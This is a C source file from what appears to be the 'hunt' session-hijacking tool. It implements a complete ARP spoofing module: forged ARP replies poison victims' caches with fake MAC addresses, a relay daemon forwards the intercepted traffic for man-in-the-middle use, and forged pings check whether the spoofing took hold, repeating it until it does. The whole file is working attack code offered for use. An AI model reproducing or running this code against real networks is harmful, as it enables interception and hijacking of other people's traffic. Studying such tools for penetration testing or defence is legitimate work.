/*
 * 
 *	This is free software. You can redistribute it and/or modify under
 *	the terms of the GNU General Public License version 2.
 *
 * 	Copyright (C) 1998 by kra
 * 
 */
#include "hunt.h"
#include <sys/time.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <assert.h>
#include <signal.h>


static struct list l_arp_spoof = LIST_INIT(struct arp_spoof_info, next);
static struct list l_arp_dont_relay = LIST_INIT(struct arp_dont_relay, next);
static struct ifunc_item ifunc_arp;

static pthread_t relay_thr;
static struct ifunc_item ifunc_relay;
static struct list l_relay_pkt = LIST_INIT(struct packet, p_next[MODULE_ARP_SPOOF]);
static int relayer_running = 0;


static void send_src_spoof_to_dst(struct arp_spoof_info *asi)
{
	struct arp_spec as_dst;
	
	as_dst.src_mac = asi->src_fake_mac;
	as_dst.dst_mac = asi->dst_mac;
	as_dst.oper = htons(ARPOP_REPLY);	/* request is ARPOP_REQUEST */
	as_dst.sender_mac = asi->src_fake_mac;
	as_dst.sender_addr = asi->src_addr;
	as_dst.target_mac = asi->dst_mac;
	as_dst.target_addr = asi->dst_addr;
	
	send_arp_packet(&as_dst);
	send_arp_packet(&as_dst);
	send_arp_packet(&as_dst);
}

/*
 * this function runs in hunt thread
 * and sends ARP respons to ARP requests which are now handled by as
 */
static void func_arp(struct packet *p, void *arg)
{
	struct list_iterator li;
	struct arphdr *arph;
	struct arpeth_hdr *arpethh;
	struct arp_spoof_info *asi;
	
	arph = p->p_arph;
	arpethh = (struct arpeth_hdr *)(arph + 1);

	if (arph->ar_pro != htons(ETH_P_IP))
		return;
	/* 
	 * ok don't look at oper field, we want to send ARP 
	 * to request and reply too 
	 */
	list_lock(&l_arp_spoof);
	list_iter_set(&li, &l_arp_spoof);
	if (arph->ar_op == htons(ARPOP_REPLY)) {
		while ((asi = list_iter_get(&li))) {
			if (*(unsigned int *) arpethh->ar_sip == asi->src_addr &&
			    *(unsigned int *) arpethh->ar_tip == asi->dst_addr)
				send_src_spoof_to_dst(asi);
		}
	} else { /* request */
		while ((asi = list_iter_get(&li))) {
			if (*(unsigned int *) arpethh->ar_sip == asi->dst_addr &&
			    *(unsigned int *) arpethh->ar_tip == asi->src_addr)
				send_src_spoof_to_dst(asi);
		}
	}
	list_iter_end(&li);
	list_unlock(&l_arp_spoof);
}

static struct arp_spoof_info *get_asi(unsigned int src_addr, unsigned int dst_addr)
{
	struct list_iterator li;
	struct arp_spoof_info *asi;
	
	list_iter_set(&li, &l_arp_spoof);
	while ((asi = list_iter_get(&li))) {
		if (asi->src_addr == src_addr && asi->dst_addr == dst_addr) {
			list_iter_end(&li);
			return asi;
		}
	}
	list_iter_end(&li);
	return NULL;
}

struct arp_dont_relay *arp_dont_relay_insert(
			unsigned int src_addr, unsigned int dst_addr,
			unsigned int src_port, unsigned int dst_port)
{
	struct arp_dont_relay *adr;
	
	assert(adr = malloc(sizeof(struct arp_dont_relay)));
	adr->src_addr = src_addr;
	adr->dst_addr = dst_addr;
	adr->src_port = src_port;
	adr->dst_port = dst_port;
	list_push(&l_arp_dont_relay, adr);
	return adr;
}

void arp_dont_relay_remove(struct arp_dont_relay *adr)
{
	list_remove(&l_arp_dont_relay, adr);
	free(adr);
}

struct arp_spoof_info *start_arp_spoof(unsigned int src_addr,
				       unsigned int dst_addr,
		    char *src_mac, char *dst_mac, char *src_fake_mac)
{
	struct arp_spoof_info *asi;
	
	if ((asi = get_asi(src_addr, dst_addr))) {
		asi->use_count++;
		return asi;
	}
	if (!src_mac || !dst_mac || !src_fake_mac)
		return NULL;
	
	if (list_count(&l_arp_spoof) == 0) {
		ifunc_arp.func = func_arp;
		ifunc_arp.arg = NULL;
		list_enqueue(&l_ifunc_arp, &ifunc_arp);
	}
	assert(asi = malloc(sizeof(struct arp_spoof_info)));
	memset(asi, 0, sizeof(struct arp_spoof_info));
	pthread_mutex_init(&asi->mutex, NULL);
	
	asi->use_count = 1;
	
	asi->src_addr = src_addr;
	asi->dst_addr = dst_addr;
	
	memcpy(asi->src_fake_mac, src_fake_mac, ETH_ALEN);
	memcpy(asi->dst_mac, dst_mac, ETH_ALEN);
	memcpy(asi->src_mac, src_mac, ETH_ALEN);
		
	send_src_spoof_to_dst(asi);

	list_enqueue(&l_arp_spoof, asi);
	return asi;
}

void force_arp_spoof(struct arp_spoof_info *asi, int count)
{
	int i;
	
	for (i = 0; i < count; i++)
		send_src_spoof_to_dst(asi);
}

struct arp_spoof_info *get_arp_spoof(unsigned int src_addr, unsigned int dst_addr)
{
	struct list_iterator li;
	struct arp_spoof_info *asi, *retval;
	
	retval = NULL;
	list_iter_set(&li, &l_arp_spoof);
	while ((asi = list_iter_get(&li))) {
		if (asi->src_addr == src_addr &&
		    asi->dst_addr == dst_addr) {
			retval = asi;
			break;
		}
	}
	list_iter_end(&li);
	return retval;
}

void stop_arp_spoof(struct arp_spoof_info *asi)
{
	struct arp_spec as_dst;

	if (--asi->use_count > 0)
		return;
	list_remove(&l_arp_spoof, asi);
	
	as_dst.src_mac = asi->src_mac;
	as_dst.dst_mac = asi->dst_mac;
	as_dst.oper = htons(ARPOP_REPLY);	/* request is ARPOP_REQUEST */
	as_dst.sender_mac = asi->src_mac;
	as_dst.sender_addr = asi->src_addr;
	as_dst.target_mac = asi->dst_mac;
	as_dst.target_addr = asi->dst_addr;

	send_arp_packet(&as_dst);
	send_arp_packet(&as_dst);
	send_arp_packet(&as_dst);

	list_lock(&l_arp_spoof);
	pthread_mutex_lock(&asi->mutex);
	free(asi);
	if (list_count(&l_arp_spoof) == 0) {
		list_remove(&l_ifunc_arp, &ifunc_arp);
	}
	list_unlock(&l_arp_spoof);
}

/*
 * this function runs in hunt thread
 * enqueues packets for relaying of hosts which are ARP spoofed
 */
static void func_relay(struct packet *p, void *arg)
{
	struct list_iterator li;
	struct arp_spoof_info *asi;
	
	list_lock(&l_arp_spoof);
	list_iter_set(&li, &l_arp_spoof);
	while ((asi = list_iter_get(&li))) {
		if (p->p_iph->saddr == asi->dst_addr &&
		    p->p_iph->daddr == asi->src_addr &&
		    memcmp(p->p_ethh->h_source, asi->dst_mac, ETH_ALEN) == 0 &&
		    memcmp(p->p_ethh->h_dest, asi->src_fake_mac, ETH_ALEN) == 0) {
			packet_want(p);
			pthread_mutex_lock(&asi->mutex);
			p->p_arg[MODULE_ARP_SPOOF] = asi;
			list_produce(&l_relay_pkt, p);
			break;
		}
	}
	list_iter_end(&li);
	list_unlock(&l_arp_spoof);
}

static int check_relay(struct packet *p)
{
	struct arp_dont_relay *adr;
	struct list_iterator li;
	struct iphdr *iph;
	struct tcphdr *tcph;
	int relay;

	iph = p->p_iph;
	tcph = p->p_hdr.p_tcph;

	relay = 1;
	list_lock(&l_arp_dont_relay);
	list_iter_set(&li, &l_arp_dont_relay);
	while ((adr = list_iter_get(&li))) {
		if (adr->src_addr == iph->saddr &&
		    adr->dst_addr == iph->daddr &&
		    adr->src_port == tcph->source &&
		    adr->dst_port == tcph->dest) {
			relay = 0;
			break;
		}
		if (adr->src_addr == iph->daddr &&
		    adr->dst_addr == iph->saddr &&
		    adr->src_port == tcph->dest &&
		    adr->dst_port == tcph->source) {
			relay = 0;
			break;
		}
	}
	list_iter_end(&li);
	list_unlock(&l_arp_dont_relay);	
	return relay;
}

static void *arp_relay(void *arg)
{
	struct packet *p, *p_new;
	struct arp_spoof_info *asi, *asi_dst;
	struct list_iterator li;
	struct iphdr *iph;
	
	pthread_sigmask(SIG_BLOCK, &intr_mask, NULL);
	setpriority(PRIO_PROCESS, getpid(), 10);
	while ((p = list_consume(&l_relay_pkt, NULL))) {
		asi = p->p_arg[MODULE_ARP_SPOOF];
		if (!check_relay(p)) {
			pthread_mutex_unlock(&asi->mutex);
			packet_free(p);
			continue;
		}
		p_new = packet_new();
		packet_copy_data(p_new, p);
		packet_free(p);
		p = p_new;
		iph = p->p_iph;
#if 0
		printf("got %s to ", host_lookup(iph->saddr, hl_mode));
		printf("%s\n", host_lookup(iph->daddr, hl_mode));
#endif
		memcpy(p->p_ethh->h_dest, asi->src_mac, ETH_ALEN);
		pthread_mutex_unlock(&asi->mutex);
		
		list_iter_set(&li, &l_arp_spoof);
		while ((asi_dst = list_iter_get(&li))) {
			if (iph->saddr == asi_dst->src_addr &&
			    iph->daddr == asi_dst->dst_addr) {
				memcpy(p->p_ethh->h_source, asi_dst->src_fake_mac, ETH_ALEN);
				break;
			}
		}
		list_iter_end(&li);
		
		send_packet(p_new);
		packet_free(p_new);
	}
	return NULL;
}

static int start_arp_relayer(void)
{
	list_produce_start(&l_relay_pkt);
	if (relayer_running) {
		printf("daemon already running\n");
		return -1;
	}
	pthread_create(&relay_thr, NULL, arp_relay, NULL);
	ifunc_relay.func = func_relay;
	ifunc_relay.arg = NULL;
	list_enqueue(&l_ifunc_ip, &ifunc_relay);
	relayer_running = 1;
	printf("daemon started\n");
	return 0;	
}

static int stop_arp_relayer(void)
{
	if (!relayer_running) {
		printf("daemon isn't running\n");
		return -1;
	}
	list_remove(&l_ifunc_ip, &ifunc_relay);
	packet_flush(&l_relay_pkt);
	list_produce_done(&l_relay_pkt);
	pthread_join(relay_thr, NULL);
	relayer_running = 0;
	printf("daemon stopped\n");
	return 0;
}

void print_arp_relayer_daemon(void)
{
	if (relayer_running) {
		if (pthread_kill(relay_thr, 0) != 0) {
			pthread_join(relay_thr, NULL);
			relay_thr = (pthread_t) 0;
			relayer_running = 0;
			set_tty_color(COLOR_BRIGHTRED);
			printf("ARP relayer daemon failed - bug\n");
			set_tty_color(COLOR_LIGHTGRAY);
		} else
			printf("Y");
	}
}


/*
 * user interface
 */
void arp_spoof_list_items(void)
{
	struct list_iterator li;
	struct arp_spoof_info *asi;
	char buf[BUFSIZE];
	int i = 0;
	
	list_iter_set(&li, &l_arp_spoof);
	while ((asi = list_iter_get(&li))) {
		sprintf_eth_mac(buf, asi->src_fake_mac);
		printf("%2d) on %-20s is %-16s as %s\n", i++, 
		       host_lookup(asi->dst_addr, hl_mode),
		       host_lookup(asi->src_addr, hl_mode), buf);
		if (i % lines_o == 0)
			lines_o_press_key();
	}
	list_iter_end(&li);
}

void arp_spoof_add_item(void)
{
	unsigned int src_ip, dst_ip;
	unsigned char src_fake_mac[ETH_ALEN];
	struct mac_info *mi_src, *mi_dst;
	struct arp_spoof_info *asi_src_in_dst;
	char buf[BUFSIZE];
	
	if ((src_ip = menu_choose_hostname("host to spoof (src host)", NULL)) == -1)
		return;
	sprintf_eth_mac(buf, suggest_mac());
	if (menu_choose_mac("fake mac", src_fake_mac, buf) < 0)
		return;
	if ((dst_ip = menu_choose_hostname("target where insert (dst host)", NULL)) == -1)
		return;
	if (!(mi_src = mac_info_get(src_ip))) {
		mac_discover(src_ip, 2);
		sec_nanosleep(1);
		if (!(mi_src = mac_info_get(src_ip))) {
			printf("src mac isn't known\n");
			return;
		}
	}
	if (!(mi_dst = mac_info_get(dst_ip))) {
		mac_discover(dst_ip, 2);
		sec_nanosleep(1);
		if (!(mi_dst = mac_info_get(dst_ip))) {
			mac_info_release(mi_src);
			printf("dst mac isn't known\n");
			return;
		}
	}
	asi_src_in_dst = start_arp_spoof(src_ip, dst_ip, mi_src->mac, mi_dst->mac, src_fake_mac);
	mac_info_release(mi_src);
	mac_info_release(mi_dst);
	if (user_arpspoof_test(asi_src_in_dst))
		user_run_arpspoof_until_successed(asi_src_in_dst);
}

void arp_spoof_del_item(void)
{
	int i;
	struct arp_spoof_info *asi;
	
	arp_spoof_list_items();
	i = menu_choose_unr("item nr. to delete", 0, 
			   list_count(&l_arp_spoof) - 1, -1);
	if (i >= 0) {
		asi = list_at(&l_arp_spoof, i);
		stop_arp_spoof(asi); /* asi is freed in stop_arp_spoof */
	}
}

void arp_spoof_add_h(void)
{
	unsigned int src_ip, dst_ip;
	struct arp_spoof_info *asi_src_in_dst, *asi_dst_in_src;
#if 0
	unsigned char src_fake_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF};
	unsigned char dst_fake_mac[ETH_ALEN] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEE};
#endif
	unsigned char src_fake_mac[ETH_ALEN] = {0x00, 0x60, 0x08, 0xBE, 0x91, 0xEF};
	unsigned char dst_fake_mac[ETH_ALEN] = {0x00, 0x60, 0x08, 0xBE, 0x91, 0xEE};
	char buf[BUFSIZE];
	struct mac_info *mi_src, *mi_dst;

	if ((src_ip = menu_choose_hostname("src/dst host1 to arp spoof", NULL)) == -1)
		return;
	sprintf_eth_mac(buf, suggest_mac());
	if (menu_choose_mac("host1 fake mac", src_fake_mac, buf) < 0)
		return;
	if ((dst_ip = menu_choose_hostname("src/dst host2 to arp spoof", NULL)) == -1)
		return;
	sprintf_eth_mac(buf, suggest_mac());
	if (menu_choose_mac("host2 fake mac", dst_fake_mac, buf) < 0)
		return;

	if (!(mi_src = mac_info_get(src_ip))) {
		mac_discover(src_ip, 2);
		sec_nanosleep(1);
		if (!(mi_src = mac_info_get( src_ip))) {
			printf("ERR: host1 mac isn't known\n");
			return;
		}
	}
	if (!(mi_dst = mac_info_get(dst_ip))) {
		mac_discover(dst_ip, 2);
		sec_nanosleep(1);
		if (!(mi_dst = mac_info_get(dst_ip))) {
			mac_info_release(mi_src);
			printf("ERR: host2 mac isn't known\n");
			return;
		}
	}
	asi_src_in_dst = start_arp_spoof(src_ip, dst_ip, mi_src->mac, mi_dst->mac, src_fake_mac);
	asi_dst_in_src = start_arp_spoof(dst_ip, src_ip, mi_dst->mac, mi_src->mac, dst_fake_mac);
	mac_info_release(mi_src);
	mac_info_release(mi_dst);
	if (user_arpspoof_test(asi_src_in_dst))
		user_run_arpspoof_until_successed(asi_src_in_dst);
	if (user_arpspoof_test(asi_dst_in_src))
		user_run_arpspoof_until_successed(asi_dst_in_src);
}

void arp_spoof_del_h(void)
{
	struct arp_spoof_info *asi;
	unsigned int ip1, ip2;
	struct list_iterator li;
	int i;
	
	arp_spoof_list_items();
	i = menu_choose_unr("item nr. with src/dst or [cr]", 0,
			    list_count(&l_arp_spoof) - 1, -1);
	if (i < 0) {
		if ((ip1 = menu_choose_hostname("src/dst host1 to remove", NULL)) == -1)
			return;
		if ((ip2 = menu_choose_hostname("src/dst host2 to remove", NULL)) == -1)
			return;
	} else {
		asi = list_at(&l_arp_spoof, i);
		ip1 = asi->src_addr;
		ip2 = asi->dst_addr;
	}
	list_iter_set(&li, &l_arp_spoof);
	while ((asi = list_iter_get(&li))) {
		if (asi->src_addr == ip1 && asi->dst_addr == ip2)
			stop_arp_spoof(asi);
		if (asi->dst_addr == ip1 && asi->src_addr == ip2)
			stop_arp_spoof(asi);
	}
	list_iter_end(&li);
}

static void arp_spoof_user_test(void)
{
	int i;
	struct arp_spoof_info *asi;
	
	arp_spoof_list_items();
	i = menu_choose_unr("item nr. to delete", 0, 
			   list_count(&l_arp_spoof) - 1, -1);
	if (i >= 0) {
		asi = list_at(&l_arp_spoof, i);
		user_arpspoof_test(asi);
	}
}

void arpspoof_menu(void)
{
	char *r_menu =  "s/k) start/stop relayer daemon\n"
			"l)   list arp spoof database\n"
			"a)   add host to host arp spoof     i) insert single arp spoof\n"
			"d)   delete host to host arp spoof  r) remove single arp spoof\n"
			"t)   test if arp spoof successed\n"
			"x)   return\n";
	char *r_keys = "skladirmtx";
	int run_it;
	
	run_it = 1;
	while (run_it) {
		switch (menu("arpspoof daemon", r_menu, "arps", r_keys, 0)) {
		    case 's':
			start_arp_relayer();
			break;
		    case 'k':
			stop_arp_relayer();
			break;
		    case 'l':
			arp_spoof_list_items();
			break;
		    case 'a':
			arp_spoof_add_h();
			break;
		    case 'd':
			arp_spoof_del_h();
			break;
		    case 'i':
			arp_spoof_add_item();
			break;
		    case 'r':
			arp_spoof_del_item();
			break;
		    case 't':
			arp_spoof_user_test();
			break;
		    case 'x':
			run_it = 0;
			break;
		}
	}
}

static struct list l_arpspoof_test = LIST_INIT(struct packet, p_next[MODULE_ARPSPOOF_TEST]);

static void hunt_arpspoof_test(struct packet *p, void *arg)
{
	struct arp_spoof_info *asi = (struct arp_spoof_info *) arg;
	struct iphdr *iph = p->p_iph;
	struct icmphdr *icmph = p->p_hdr.p_icmph;
	
	if (iph->saddr == asi->dst_addr &&
	    iph->daddr == asi->src_addr &&
	    icmph->type == 0 && icmph->code == 0) {
		packet_want(p);
		list_produce(&l_arpspoof_test, p);
	}
}

int arpspoof_test(struct arp_spoof_info *asi)
{
	struct timeval tv;
	struct timespec timeout;
	struct ifunc_item ifunc_pingtest;
	struct packet *p;
	int retval;
	int i;
	
	ifunc_pingtest.func = hunt_arpspoof_test;
	ifunc_pingtest.arg = asi;
	list_enqueue(&l_ifunc_icmp, &ifunc_pingtest);
	
	for (i = 0, retval = 0; i < 3 && !retval; i++) {
		send_icmp_request(asi->src_addr, asi->dst_addr, asi->src_fake_mac,
				  asi->dst_mac, 1 + i);
		gettimeofday(&tv, NULL);
		timeout.tv_sec = tv.tv_sec + 1;
		timeout.tv_nsec = tv.tv_usec * 1000;
		while ((p = list_consume(&l_arpspoof_test, &timeout))) {
			retval = is_icmp_reply(p, asi->dst_addr, asi->src_addr,
					       asi->dst_mac, asi->src_fake_mac);
			packet_free(p);
			if (retval)
				break;
		}
	}
	list_remove(&l_ifunc_icmp, &ifunc_pingtest);
	packet_flush(&l_arpspoof_test);
	
	if (retval == 1) /* mac is spoofed - ok */
		return 0;
	else if (retval == 2) /* ping reply received but with original mac */
		return -1;
	/* ping reply wasn't received */
	return -1;
}

int user_arpspoof_test(struct arp_spoof_info *asi)
{
	char mac_buf[64];
	
	if (arpspoof_test(asi) == 0)
		return 0;
	sprintf_eth_mac(mac_buf, asi->src_fake_mac);
	set_tty_color(COLOR_BRIGHTRED);
	printf("ARP spoof of %s with fake mac %s in host %s FAILED\n",
	       host_lookup(asi->src_addr, hl_mode),
	       mac_buf,
	       host_lookup(asi->dst_addr, hl_mode));
	set_tty_color(COLOR_LIGHTGRAY);
	fflush(stdout);
	return -1;
}

static volatile int run_arpspoof;

static void run_arpspoof_intr(int sig)
{
	run_arpspoof = 0;
}

int user_run_arpspoof_until_successed(struct arp_spoof_info *asi)
{
	switch (menu_choose_char("do you want to force arp spoof until successed y/n", "yn", 'n')) {
	    case 'y':
		if (run_arpspoof_until_successed(asi) == 0) {
			printf("ARP spoof successed\n");
			return 0;
		} else {
			printf("ARP spoof failed\n");
			return -1;
		}
	    case 'n':
		return -1;
	}
	return -1;
}
	
int run_arpspoof_until_successed(struct arp_spoof_info *asi)
{
	struct sigaction sa, sa_old;
	struct timespec timeout;
	
	printf("CTRL-C to break\n");

	sa.sa_handler = run_arpspoof_intr;
	sigemptyset(&sa.sa_mask);
	sa.sa_flags = SA_RESTART;
	sigaction(SIGINT, &sa, &sa_old);
	pthread_sigmask(SIG_BLOCK, &intr_mask, NULL);
	
	run_arpspoof = 1;
	while (arpspoof_test(asi) != 0 && run_arpspoof) {
		printf(".");
		fflush(stdout);
		force_arp_spoof(asi, 5);
		pthread_sigmask(SIG_UNBLOCK, &intr_mask, NULL);
		timeout.tv_sec = 5;
		timeout.tv_nsec = 0;
		nanosleep(&timeout, NULL);
		pthread_sigmask(SIG_BLOCK, &intr_mask, NULL);
	}
	if (!run_arpspoof)
		press_key("\n-- operation canceled - press any key> ");
	pthread_sigmask(SIG_UNBLOCK, &intr_mask, NULL);
	sigaction(SIGINT, &sa_old, NULL);
	return arpspoof_test(asi);
}
